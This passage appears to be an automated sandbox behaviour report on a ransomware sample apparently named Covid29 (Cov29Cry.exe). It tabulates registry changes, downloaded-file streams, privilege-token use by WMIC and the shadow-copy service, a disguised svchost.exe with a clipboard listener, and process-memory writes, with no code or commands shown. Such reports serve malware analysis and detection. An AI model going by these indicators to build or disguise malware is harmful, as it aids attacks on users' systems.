Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0 = 56003100000000006e5801551000526f616d696e6700400009000400efbe5a58a2796e5803552e00000088e101000000010000000000000000000000000000006fb0330052006f0061006d0069006e006700000016000000 C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0 C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\NodeSlot = "4" C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = 00000000ffffffff C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\0\MRUListEx = ffffffff C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 14001f44471a0359723fa74489c55595fe6b30ee0000 C:\Windows\system32\NOTEPAD.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202 C:\Windows\system32\NOTEPAD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" C:\Windows\system32\NOTEPAD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings C:\Windows\system32\NOTEPAD.EXE N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 777166.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File created C:\Users\Admin\Downloads\GuideLauncher.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Downloads\chilledwindows.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: 33 N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\shutdown.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\shutdown.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29Cry.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1548 wrote to memory of 3360 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 3360 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1548 wrote to memory of 4000 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
